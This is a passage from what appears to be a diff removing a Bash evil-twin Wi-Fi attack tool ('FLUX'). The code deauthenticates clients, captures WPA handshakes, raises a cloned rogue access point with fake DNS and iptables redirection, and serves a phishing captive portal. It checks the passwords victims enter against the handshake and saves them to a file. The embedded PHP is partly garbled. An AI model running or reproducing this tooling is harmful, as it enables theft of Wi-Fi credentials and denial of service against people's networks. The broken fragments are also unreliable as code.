CSVDB=$Host_MAC-01.csv - deauth - - fi - - capture - for CLIENT in $HOST; do - Client_MAC=`echo ${CLIENT:0:17}` - deauthesp - done - $DEAUTH - CSVDB=$Host_MAC-01.csv - ;; - esac - - - deauthMENU - -} - -function deauthMENU { - - Handshake_statuscheck="${grey}No handshake$transparent" - - while true; do - conditional_clear - mostrarheader - - echo "*Capture Handshake* " - echo - echo -e "Status handshake: $Handshake_statuscheck" - echo - echo -e " "$green "1)"$transparent" Yes" - echo -e " "$green "2)"$transparent" Strike again " - echo -e " "$green "3)"$transparent" No (Select another attack)" - echo -e " "$green "4)"$transparent" Select another network" - echo -e " "$green "5)"$transparent" Exit" - echo " " - echo -n ' #> ' - read yn - - case $yn in - 1 ) checkhandshake;; - 2 ) capture; $DEAUTH & ;; - 3 ) conditional_clear; askclientsel; break;; - 4 ) killall airodump-ng &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; selection; break ;; - 5 ) exitmode; break;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - - done -} - -# Capture all -function capture { - - conditional_clear - if ! ps -A | grep -q airodump-ng; then - - rm -rf $DUMP_PATH/$Host_MAC* - xterm $HOLD -title "Capturing data channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR & - fi -} - -# Check the handshake before continuing -function checkhandshake { - - if [ "$handshakemode" = "normal" ]; then - if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then - killall airodump-ng &>$flux_output_device - webinterface - break - else - Handshake_statuscheck="${red}Not_Found$transparent" - fi - elif [ "$handshakemode" = "hard" ]; then - cp $DUMP_PATH/$Host_MAC-01.cap $DUMP_PATH/test.cap &>$flux_output_device - - if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then - killall airodump-ng &>$flux_output_device - webinterface - break - else - if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then - Handshake_statuscheck="${yellow}Corrupt$transparent" - else - Handshake_statuscheck="${red}Not_Found$transparent" - fi - fi - - rm $DUMP_PATH/test.cap &>$flux_output_device - fi -} - -############################################# < HANDSHAKE > ############################################ - - - - - - -############################################# < ATAQUE > ############################################ - -# Select web interface that will be used -function webinterface { - - while true; do - conditional_clear - mostrarheader - - infoap - echo - echo "Select Web Interface" - echo - - echo -e "$green ""1)"$transparent" Web Interface" - echo -e "$green ""2)"$transparent" \e[1;31mExit"$transparent"" - - echo - echo -n "#? " - read line - - if [ "$line" = "2" ]; then - exitmode - elif [ "$line" = "1" ]; then - conditional_clear - mostrarheader - - infoap - echo - echo "SELECT LANGUAGE" - echo - - echo -e "$green ""1)"$transparent" English [ENG]" - echo -e "$green ""2)"$transparent" Spanish [ESP]" - echo -e "$green ""3)"$transparent" Italy [IT]" - echo -e "$green ""4)"$transparent" French [FR]" - echo -e "$green ""5)"$transparent" Portuguese [POR]" - echo -e "$green ""6)"$transparent" German [GER]" - echo -e "$green ""7)"$transparent" \e[1;31mBack"$transparent"" - - echo - echo -n "#? " - read fluxass - language=${webinterfaceslenguage[$line]} - - if [ "$fluxass" = "1" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG - DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ENG - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ENG - NEUTRA - break - elif [ "$fluxass" = "2" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP - DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ESP - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ESP - NEUTRA - break - elif [ "$fluxass" = "3" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT - DIALOG_WEB_OK=$DIALOG_WEB_OK_IT - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_IT - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_IT - NEUTRA - break - elif [ "$fluxass" = "4" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR - DIALOG_WEB_OK=$DIALOG_WEB_OK_FR - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_FR - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_FR - NEUTRA - break - elif [ "$fluxass" = "5" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR - DIALOG_WEB_OK=$DIALOG_WEB_OK_POR - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_POR - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_POR - NEUTRA - break - - elif [ "$fluxass" = "6" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GER - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GER - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GER - DIALOG_WEB_OK=$DIALOG_WEB_OK_GER - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GER - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GER - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_GER - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_GER - NEUTRA - break - elif [ "$fluxass" = "7" ]; then - continue - fi - fi - - done - preattack - attack -} - -# Create different settings required for the script -function preattack { - -# Config HostAPD -echo "interface=$WIFI -driver=nl80211 -ssid=$Host_SSID -channel=$Host_CHAN -">$DUMP_PATH/hostapd.conf - -# Creates PHP -echo "alert(\\\"$DIALOG_WEB_LENGHT_MIN\\\");window.history.back()\"; -break; -} - -if ( (strlen(\$key1) > 63) ) { -echo \"\"; -break; -} - - -\$file = fopen(\$filename, \"w\"); -fwrite(\$file,\"\$f_data\"); -fwrite(\$file,\"\n\"); -fclose(\$file); - - -\$archivo = fopen(\$intento, \"w\"); -fwrite(\$archivo,\"\n\"); -fclose(\$archivo); - -while(1) -{ - -if (file_get_contents(\"\$intento\") == 2) { - header(\"location:final.html\"); - break; - } -if (file_get_contents(\"\$intento\") == 1) { - header(\"location:error.html\"); - unlink(\$intento); - break; - } - -sleep(1); -} - -?>" > $DUMP_PATH/data/check.php - -# Config DHCP -echo "authoritative; - -default-lease-time 600; -max-lease-time 7200; - -subnet $RANG_IP.0 netmask 255.255.255.0 { - -option broadcast-address $RANG_IP.255; -option routers $IP; -option subnet-mask 255.255.255.0; -option domain-name-servers $IP; - -range $RANG_IP.100 $RANG_IP.250; - -} -" >$DUMP_PATH/dhcpd.conf - -# creates Lighttpd web-server -echo "server.document-root = \"$DUMP_PATH/data/\" - -server.modules = ( - \"mod_access\", - \"mod_alias\", - \"mod_accesslog\", - \"mod_fastcgi\", - \"mod_redirect\", - \"mod_rewrite\" -) - -fastcgi.server = ( \".php\" => (( - \"bin-path\" => \"/usr/bin/php-cgi\", - \"socket\" => \"/php.socket\" - ))) - -server.port = 80 -server.pid-file = \"/var/run/lighttpd.pid\" -# server.username = \"www\" -# server.groupname = \"www\" - -mimetype.assign = ( -\".html\" => \"text/html\", -\".htm\" => \"text/html\", -\".txt\" => \"text/plain\", -\".jpg\" => \"image/jpeg\", -\".png\" => \"image/png\", -\".css\" => \"text/css\" -) - - -server.error-handler-404 = \"/\" - -static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) -index-file.names = ( \"index.htm\" ) - -#Redirect www.domain.com to domain.com -\$HTTP[\"host\"] =~ \"^www\.(.*)$\" { -url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) -} - -" >$DUMP_PATH/lighttpd.conf - -# that redirects all DNS requests to the gateway -echo "import socket - -class DNSQuery: - def __init__(self, data): - self.data=data - self.dominio='' - - tipo = (ord(data[2]) >> 3) & 15 - if tipo == 0: - ini=12 - lon=ord(data[ini]) - while lon != 0: - self.dominio+=data[ini+1:ini+lon+1]+'.' - ini+=lon+1 - lon=ord(data[ini]) - - def respuesta(self, ip): - packet='' - if self.dominio: - packet+=self.data[:2] + \"\x81\x80\" - packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' - packet+=self.data[12:] - packet+='\xc0\x0c' - packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' - packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) - return packet - -if __name__ == '__main__': - ip='$IP' - print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip - - udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - udps.bind(('',53)) - - try: - while 1: - data, addr = udps.recvfrom(1024) - p=DNSQuery(data) - udps.sendto(p.respuesta(ip), addr) - print 'Request: %s -> %s' % (p.dominio, ip) - except KeyboardInterrupt: - print 'Finalizando' - udps.close() -" >$DUMP_PATH/fakedns -chmod +x $DUMP_PATH/fakedns - -} - -# Set up DHCP / WEB server -function routear { - - ifconfig $interfaceroutear up - ifconfig $interfaceroutear $IP netmask 255.255.255.0 - - route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP - echo "1" > /proc/sys/net/ipv4/ip_forward - - iptables --flush - iptables --table nat --flush - iptables --delete-chain - iptables --table nat --delete-chain - iptables -P FORWARD ACCEPT - - iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 - iptables -t nat -A POSTROUTING -j MASQUERADE -} - -# Attack -function attack { - - if [ "$fakeapmode" = "hostapd" ]; then - interfaceroutear=$WIFI - elif [ "$fakeapmode" = "airbase-ng" ]; then - interfaceroutear=at0 - fi - - handshakecheck - nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) - - if [ "$fakeapmode" = "hostapd" ]; then - - ifconfig $WIFI down - sleep 0.4 - macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $flux_output_device - sleep 0.4 - ifconfig $WIFI up - sleep 0.4 - fi - - - if [ $fakeapmode = "hostapd" ]; then - killall hostapd &> $flux_output_device - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & - elif [ $fakeapmode = "airbase-ng" ]; then - killall airbase-ng &> $flux_output_device - xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SSID -c $Host_CHAN -a ${mac::13}$nomac${mac:14:4} $WIFI_MONITOR & - fi - sleep 5 - - routear & - sleep 3 - - - killall dhcpd &> $flux_output_device - xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" & - killall $(netstat -lnptu | grep ":53" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device - xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e python $DUMP_PATH/fakedns & - - killall $(netstat -lnptu | grep ":80" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device - lighttpd -f $DUMP_PATH/lighttpd.conf &> $flux_output_device - - killall aireplay-ng &> $flux_output_device - killall mdk3 &> $flux_output_device - echo "$(strings $DUMP_PATH/dump-02.csv | cut -d "," -f1,14 | grep -h "$Host_SSID" | cut -d "," -f1)" >$DUMP_PATH/mdk3.txt - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauth all [mdk3] $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & - - xterm -hold $TOPRIGHT -title "Wifi Information" -e $DUMP_PATH/handcheck & - conditional_clear - - while true; do - mostrarheader - - echo "Attack in progress .." - echo " " - echo " 1) Choose another network" - echo " 2) Exit" - echo " " - echo -n ' #> ' - read yn - case $yn in - 1 ) matartodo; CSVDB=dump-01.csv; selection; break;; - 2 ) matartodo; exitmode; break;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -# Checks the validity of the password -function handshakecheck { - - echo "#!/bin/bash - - echo > $DUMP_PATH/data.txt - echo -n \"0\"> $DUMP_PATH/hit.txt - echo "" >$DUMP_PATH/loggg - - tput civis - clear - - minutos=0 - horas=0 - i=0 - timestamp=\$(date +%s) - - while true; do - - segundos=\$i - dias=\`expr \$segundos / 86400\` - segundos=\`expr \$segundos % 86400\` - horas=\`expr \$segundos / 3600\` - segundos=\`expr \$segundos % 3600\` - minutos=\`expr \$segundos / 60\` - segundos=\`expr \$segundos % 60\` - - if [ \"\$segundos\" -le 9 ]; then - is=\"0\" - else - is= - fi - - if [ \"\$minutos\" -le 9 ]; then - im=\"0\" - else - im= - fi - - if [ \"\$horas\" -le 9 ]; then - ih=\"0\" - else - ih= - fi">>$DUMP_PATH/handcheck - - if [ $authmode = "handshake" ]; then - echo "if [ -f $DUMP_PATH/intento ]; then - - if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase not in\"; then - echo \"2\">$DUMP_PATH/intento - break - else - echo \"1\">$DUMP_PATH/intento - fi - - fi">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo " - wpa_passphrase $Host_SSID \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf & - wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg & - - if [ -f $DUMP_PATH/intento ]; then - - if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then - echo \"2\">$DUMP_PATH/intento - break - else - echo \"1\">$DUMP_PATH/intento - fi - - fi - ">>$DUMP_PATH/handcheck - fi - - echo "readarray -t CLIENTESDHCP < <(nmap -sP -oG - $RANG_IP.100-110 2>&1 | grep Host ) - - echo - echo -e \" PUNTO DE ACCESO:\" - echo -e \" Number..........: "$white"$Host_SSID"$transparent"\" - echo -e \" MAC.............: "$yellow"$Host_MAC"$transparent"\" - echo -e \" Channel.........: "$white"$Host_CHAN"$transparent"\" - echo -e \" Brand...........: "$green "$Host_MAC_MODEL"$transparent"\" - echo -e \" Operation time...: "$grey"\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\" - echo -e \" Attempts........: "$red"\$(cat $DUMP_PATH/hit.txt)"$transparent"\" - echo -e \" Clientes........: "$blue"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | sort| uniq | wc -l)"$transparent"\" - echo - echo -e \" CLIENTES ONLINE:\" - - x=0 - for cliente in \"\${CLIENTESDHCP[@]}\"; do - x=\$((\$x+1)) - CLIENTE_IP=\$(echo \$cliente| cut -d \" \" -f2) - CLIENTE_MAC=\$(nmap -sP \$CLIENTE_IP 2>&1 | grep -i mac | cut -d \" \" -f3 | tr [:upper:] [:lower:]) - - if [ \"\$(echo \$CLIENTE_MAC| wc -m)\" != \"18\" ]; then - CLIENTE_MAC=\"xx:xx:xx:xx:xx:xx\" - fi - - CLIENTE_FABRICANTE=\$(macchanger -l | grep \"\$(echo \"\$CLIENTE_MAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) - - if echo \$CLIENTE_MAC| grep -q x; then - CLIENTE_FABRICANTE=\"unknown\" - fi - - CLIENTE_HOSTNAME=\$(echo \$cliente| cut -d \" \" -f 3 | cut -d \"(\" -f2 | cut -d \")\" -f1) - - echo -e \" $green \$x) $red\$CLIENTE_IP $yellow\$CLIENTE_MAC $transparent($blue\$CLIENTE_FABRICANTE$transparent) $green \$CLIENTE_HOSTNAME$transparent\" - done - - echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck - - - if [ $authmode = "handshake" ]; then - echo "let i=\$(date +%s)-\$timestamp - sleep 1">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo "sleep 5 - - killall wpa_supplicant &>$flux_output_device - killall wpa_passphrase &>$flux_output_device - let i=\$i+5">>$DUMP_PATH/handcheck - fi - - echo "done - clear - echo \"1\" > $DUMP_PATH/status.txt - - sleep 7 - - killall mdk3 &>$flux_output_device - killall aireplay-ng &>$flux_output_device - killall airbase-ng &>$flux_output_device - kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$flux_output_device - killall hostapd &>$flux_output_device - killall lighttpd &>$flux_output_device - killall dhcpd &>$flux_output_device - killall wpa_supplicant &>$flux_output_device - killall wpa_passphrase &>$flux_output_device - - echo \" - FLUX $version by deltax - - SSID: $Host_SSID - BSSID: $Host_MAC ($Host_MAC_MODEL) - Channel: $Host_CHAN - Security: $Host_ENC - Time: \$ih\$horas:\$im\$minutos:\$is\$segundos - Password: \$(cat $DUMP_PATH/data.txt) - \" >$HOME/$Host_SSID-password.txt">>$DUMP_PATH/handcheck - - - if [ $authmode = "handshake" ]; then - echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"Se ha guardado en "$red"$HOME/$Host_SSID-password.txt"$transparent"\" - ">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo "echo -e \"Se ha guardado en "$red"$HOME/$Host_SSID-password.txt"$transparent"\"">>$DUMP_PATH/handcheck - fi - - echo "kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &>$flux_output_device">>$DUMP_PATH/handcheck - chmod +x $DUMP_PATH/handcheck -} - - -############################################# < ATTACK > ############################################ - - - - - - -############################################## < STUFF > ############################################ - -# Deauth all -function deauthall { - - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a todos de $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR & -} - -function deauthmdk3 { - - echo "$Host_MAC" >$DUMP_PATH/mdk3.txt - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando mdk3 a todos de $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & - mdk3PID=$! - sleep 15 - kill $mdk3PID &>$flux_output_device -} - -# Deauth to a specific target -function deauthesp { - - sleep 2 - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR & -} - -# Close all processes -function matartodo { - - killall aireplay-ng &>$flux_output_device - kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device - killall hostapd &>$flux_output_device - killall lighttpd &>$flux_output_device - killall dhcpd &>$flux_output_device - killall xterm &>$flux_output_device - -} - - - -############################################## < STUFF > ############################################ - - - - - - -######################################### < INTERFACE WEB > ######################################## - -# Create the contents for the web interface -function NEUTRA { - - if [ ! -d $DUMP_PATH/data ]; then - mkdir $DUMP_PATH/data - fi - -echo "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 